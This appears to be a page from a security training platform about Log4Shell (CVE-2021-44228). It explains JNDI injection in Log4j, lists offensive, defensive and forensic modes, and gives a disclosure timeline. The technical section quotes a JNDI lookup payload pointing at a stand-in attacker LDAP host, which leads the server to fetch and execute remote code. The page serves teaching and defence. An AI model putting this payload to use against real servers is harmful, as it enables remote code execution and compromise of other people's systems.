Log4Shell

Target: Java Logging Library

Impact: Global RCE Vulnerability

Operational Briefing

Scan and exploit the "Internet on Fire" vulnerability. A zero-day in Log4j allowed RCE on millions of servers.

The Full Story

Log4Shell (CVE-2021-44228) was a critical vulnerability in Log4j, a Java logging framework used in almost everything. It allowed unauthenticated remote code execution.

Technical Analysis

JNDI Injection

Mechanism: Log4j performed lookups on strings like ${jndi:ldap://attacker.com/exploit}.
Exploit: An attacker could force the server to connect to a malicious LDAP server, download a Java class, and execute it.
Scope: Affected iCloud, Steam, Minecraft, and millions of enterprise applications.

Available Modes

Offensive

Replicate the attack vector

Defensive

Harden systems & patch

Analysis

Forensic investigation

Event Timeline

Nov 2021

Vulnerability reported privately to Apache.

Dec 9, 2021

Public disclosure and PoC release.

Dec 2021

Massive scanning and exploitation worldwide.

#RCE#Zero-Day#Java